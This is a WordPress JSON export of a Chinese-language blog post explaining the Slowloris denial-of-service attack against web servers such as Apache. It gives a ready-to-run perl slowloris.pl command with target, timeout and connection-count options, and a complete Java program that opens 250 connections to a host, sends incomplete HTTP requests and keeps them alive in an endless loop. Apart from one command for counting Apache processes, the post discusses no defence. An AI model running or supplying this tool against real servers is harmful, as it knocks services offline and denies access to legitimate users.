{"id":687,"date":"2013-09-02T21:47:26","date_gmt":"2013-09-02T13:47:26","guid":{"rendered":"http:\/\/www.yeetrack.com\/?p=687"},"modified":"2013-09-27T22:36:32","modified_gmt":"2013-09-27T14:36:32","slug":"slowloris%e6%8b%92%e7%bb%9d%e6%9c%8d%e5%8a%a1%e6%94%bb%e5%87%bb","status":"publish","type":"post","link":"https:\/\/www.yeetrack.com\/?p=687","title":{"rendered":"Slowloris\u62d2\u7edd\u670d\u52a1\u653b\u51fb"},"content":{"rendered":"

DDOS\u653b\u51fb\uff0c\u4e2d\u6587\u7ffb\u8bd1\u4e3a\u5206\u5e03\u5f0f\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u662f\u5229\u7528\u5ba2\u6237\u7aef\u7684\u8bf7\u6c42\uff0c\u9020\u6210\u670d\u52a1\u5668\u8d44\u6e90\u8fc7\u5ea6\u5360\u7528\uff0c\u670d\u52a1\u5668\u5fd9\u4e8e\u5904\u7406\u8fd9\u4e9b\u8bf7\u6c42\uff0c\u4e00\u4e9b\u5408\u6cd5\u7684\u7528\u6237\u8bf7\u6c42\u5f97\u4e0d\u5230\u5904\u7406\uff0c\u5bfc\u81f4\u670d\u52a1\u4e0d\u53ef\u7528\u3002\u5e38\u89c1\u7684ddos\u653b\u51fb\u6709SYN flood\u3001UDP flood\u3001ICMP flood\u7b49\u3002\u5176\u4e2dSYN flood\u662f\u4e00\u79cd\u6700\u4e3a\u7ecf\u5178\u7684DDOS\u653b\u51fb\u3002\u5176\u5229\u7528\u7684\u662fTCP\u534f\u8bae\u8bbe\u8ba1\u4e2d\u7684\u7f3a\u9677\uff0c\u6b64\u5904\u5148\u907f\u5f00\u4e0d\u8c08\u3002<\/p>\n

\u800cSlowloris\u653b\u51fb\u5219\u662f\u5229\u7528web server\u7684\u6f0f\u6d1e\uff08\u6216\u8005\u8bf4\u662f\u53c2\u6570\u914d\u7f6e\u4e0d\u5408\u7406\uff09\uff0c\u76f4\u63a5\u9020\u6210\u62d2\u7edd\u670d\u52a1\u3002Slowloris\u662f\u57282009\u5e74\u7531\u8457\u540dWeb\u5b89\u5168\u4e13\u5bb6RSnake\u63d0\u51fa\u7684\u4e00\u79cd\u653b\u51fb\u65b9\u6cd5\uff0c\u5176\u539f\u7406\u662f\u4ee5\u6781\u4f4e\u7684\u901f\u5ea6\u5f80\u670d\u52a1\u5668\u53d1\u9001HTTP\u8bf7\u6c42\u3002\u7531\u4e8eWeb Server\u5bf9\u4e8e\u5e76\u53d1\u7684\u8fde\u63a5\u6570\u90fd\u6709\u4e00\u5b9a\u7684\u4e0a\u9650\uff0c\u56e0\u6b64\u82e5\u662f\u6076\u610f\u5730\u5360\u7528\u4f4f\u8fd9\u4e9b\u8fde\u63a5\u4e0d\u91ca\u653e\uff0c\u90a3\u4e48Web Server\u7684\u6240\u6709\u8fde\u63a5\u90fd\u5c06\u88ab\u6076\u610f\u8fde\u63a5\u5360\u7528\uff0c\u4ece\u800c\u65e0\u6cd5\u63a5\u53d7\u65b0\u7684\u8bf7\u6c42\uff0c\u5bfc\u81f4\u62d2\u7edd\u670d\u52a1\u3002<\/p>\n

\u600e\u4e48\u7b97\u662f\u6076\u610f\u7684\u8bf7\u6c42\u5462\uff0c\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u5c40\u90e8http\u8bf7\u6c42\uff0c\u4e5f\u5c31\u662f\u4e00\u4e2a\u4e0d\u5b8c\u6574\u7684http\u8bf7\u6c42\u3002<\/p>\n

\u4e00\u4e2a\u6b63\u5e38\u7684http\u8bf7\u6c42\uff0c\u5982\u4e0b\uff1a<\/p>\n


\nGET \/ HTTP\/1.1\\r\\n
\nHOST: host\\r\\n
\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\\r\\n
\nContent-Length: 42\\r\\n\\r\\n<\/code><\/p>\n

\u6700\u540e\u7684\u4e24\u4e2a\\r\\n\u8868\u793ahttp\u8bf7\u6c42\u5934\u7ed3\u675f\uff0c\u5982\u679c\u6211\u4eec\u53bb\u6389\u4e00\u4e2a\\r\\n\u5c31\u8868\u793a\u8fd9\u4e48\u5305\u6ca1\u5b8c\u6210\uff0c\u90a3\u4e48\u670d\u52a1\u5668\u5c31\u4f1a\u7b49\u5f85\u5ba2\u6237\u7aef\u7ee7\u7eed\u53d1\u9001\u8fd9\u4e2a\u5305\u7684\u5269\u4f59\u90e8\u5206\uff0c\u6b64\u65f6\u5ba2\u6237\u7aef\u518d\u53d1\u9001\u4efb\u610fHTTP\u5934\uff0c\u4fdd\u6301\u4f4f\u8fde\u63a5\u5373\u53ef\u3002<\/p>\n

X-a: b\\r\\n<\/p>\n

\u5f53\u6784\u9020\u591a\u4e2a\u8fde\u63a5\u540e\uff0c\u670d\u52a1\u5668\u7684\u8fde\u63a5\u6570\u5f88\u5feb\u5c31\u4f1a\u8fbe\u5230\u4e0a\u9650\u3002apache\u9ed8\u8ba4\u8fde\u63a5\u6570150\u4e2a\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u8981\u5efa\u7acb150\u4e2a\u8fd9\u6837\u7684\u8fde\u63a5\uff0capache\u5c31\u65e0\u6cd5\u518d\u5904\u7406\u65b0\u7684\u8bf7\u6c42\uff0c\u62d2\u7edd\u670d\u52a1\u3002<\/p>\n

\u5bf9\u4e8eSlowloris\u653b\u51fb\uff0chttp:\/\/ckers.org\/slowloris\/<\/a>\u63d0\u4f9b\u4e86\u811a\u672c\uff0c\u76f4\u63a5\u4f7f\u7528\u5373\u53ef\uff0c\u662f\u7528perl\u5199\u7684\uff0c\u53ea\u8981\u6709perl\u7684\u73af\u5883\u5373\u53ef\u3002 perl slowloris.pl -dns \u00a0www.hostname.com -port 80 -timeout \u00a0200 -num 150<\/code> timeout\u4e0d\u8981\u8bbe\u7f6e\u592a\u77ed\uff0cnum\u662f\u6307\u5efa\u7acb\u591a\u5c11\u4e2a\u8fde\u63a5\u3002\u8fd0\u884c\u4e00\u4f1a\uff0c\u518d\u770b\u76ee\u6807\u5e94\u7528\uff0c\u5e94\u8be5\u8fde\u63a5\u6570\u88ab\u5360\u6ee1\u3002<\/p>\n

\u77e5\u9053\u4e86\u539f\u7406\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u81ea\u5df1\u5199\u4ee3\u7801\uff0c\u6784\u9020\u8fd9\u6837\u7684\u8bf7\u6c42\u3002\u4e0b\u9762\u662f\u7528java\u5199\u7684\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff1a<\/p>\n


\npackage com.yeetrack.test;<\/code>
\nimport java.io.DataOutputStream;
\nimport java.io.IOException;
\nimport java.net.Socket;
\nimport java.net.UnknownHostException;
\nimport java.util.ArrayList;
\nimport java.util.List;<\/p>\n

\/**
\n* @author youthflies
\n*
\n*\/
\npublic class SlowlorisTest
\n{<\/p>\n

\/**
\n* @param args
\n* @throws IOException
\n* @throws UnknownHostException
\n* @throws InterruptedException
\n*\/
\npublic static void main(String[] args) throws InterruptedException, UnknownHostException
\n{
\n\/\/ TODO Auto-generated method stub<\/p>\n

int count = 250;<\/p>\n

List sockets = new ArrayList();
\nList dataOutputStreams = new ArrayList();<\/p>\n

\/\/\u5efa\u7acb\u8fde\u63a5
\nfor(int i=1;i<=count;i++)
\n{
\nSocket client =
\nnull;
\ntry
\n{
\nclient = new Socket(\"www.hostname\", 80);
\nsockets.add(client);
\n} catch (IOException e)
\n{
\n\/\/ TODO Auto-generated catch block
\ne.printStackTrace();
\n}<\/p>\n

System.out.println(\"\u5efa\u7acb\u8fde\u63a5--\"+i);
\n}
\n\/\/\u53d1\u9001\u4e0d\u5b8c\u6574http\u8bf7\u6c42
\nfor(int j=0;j<=sockets.size()-1;j++)
\n{<\/p>\n

try
\n{
\nDataOutputStream outputStream = new DataOutputStream(sockets.get(j).getOutputStream());
\ndataOutputStreams.add(outputStream);
\noutputStream.writeBytes(\" GET \/ HTTP\/1.1\\r\\n\"
\n+\"Host: www.hostname:80\\r\\n\"
\n+\"Connection: keep-alive\\r\\n\"
\n+\"Content-Length: 42\\r\\n\");
\n} catch (IOException e)
\n{
\n\/\/ TODO Auto-generated catch block
\ne.printStackTrace();
\n}
\nSystem.out.println(\"\u53d1\u9001\u5c40\u90e8http\u8bf7\u6c42---\"+j);
\n}<\/p>\n

\/\/\u4fdd\u6301\u8fde\u63a5
\nwhile(true)
\n{
\nfor(int i=0;i<=dataOutputStreams.size()-1;i++)
\n{
\ntry
\n{
\ndataOutputStreams.get(i).writeBytes(\"TimeStamp:\"+System.currentTimeMillis());
\n} catch (IOException e)
\n{
\n\/\/ TODO Auto-generated catch block
\ne.printStackTrace();
\n}
\nSystem.out.println(\"\u53d1\u9001\u6570\u636e\u4fdd\u6301\u8fde\u63a5\"+System.currentTimeMillis());
\nThread.sleep(1000);
\n}
\n}<\/p>\n

}<\/p>\n

}<\/p>\n

\u4f7f\u7528\u00a0ps -ef | grep httpd | wc -l \u53ef\u4ee5\u67e5\u770blinux\u4e2dapache\u7684\u8fde\u63a5\u6570\u91cf\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

DDOS\u653b\u51fb\uff0c\u4e2d\u6587\u7ffb\u8bd1\u4e3a\u5206\u5e03\u5f0f\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff0c\u662f\u5229\u7528\u5ba2\u6237\u7aef\u7684\u8bf7\u6c42\uff0c\u9020\u6210\u670d\u52a1\u5668\u8d44\u6e90\u8fc7\u5ea6\u5360\u7528\uff0c\u670d\u52a1\u5668\u5fd9\u4e8e\u5904\u7406\u8fd9\u4e9b\u8bf7\u6c42\uff0c\u4e00\u4e9b\u5408\u6cd5\u7684\u7528\u6237\u8bf7\u6c42\u5f97\u4e0d\u5230\u5904\u7406\uff0c\u5bfc\u81f4\u670d\u52a1\u4e0d\u53ef\u7528\u3002\u5e38\u89c1\u7684ddos\u653b\u51fb\u6709SYN flood\u3001U...<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"pgc_sgb_lightbox_settings":"","footnotes":""},"categories":[34],"tags":[8,11,7,26,13],"class_list":["post-687","post","type-post","status-publish","format-standard","hentry","category-software","tag-java","tag-linux","tag-7","tag-26","tag-13"],"views":3302,"_links":{"self":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/687","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=687"}],"version-history":[{"count":4,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/687\/revisions"}],"predecessor-version":[{"id":691,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=\/wp\/v2\/posts\/687\/revisions\/691"}],"wp:attachment":[{"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=687"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=687"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.yeetrack.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=687"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}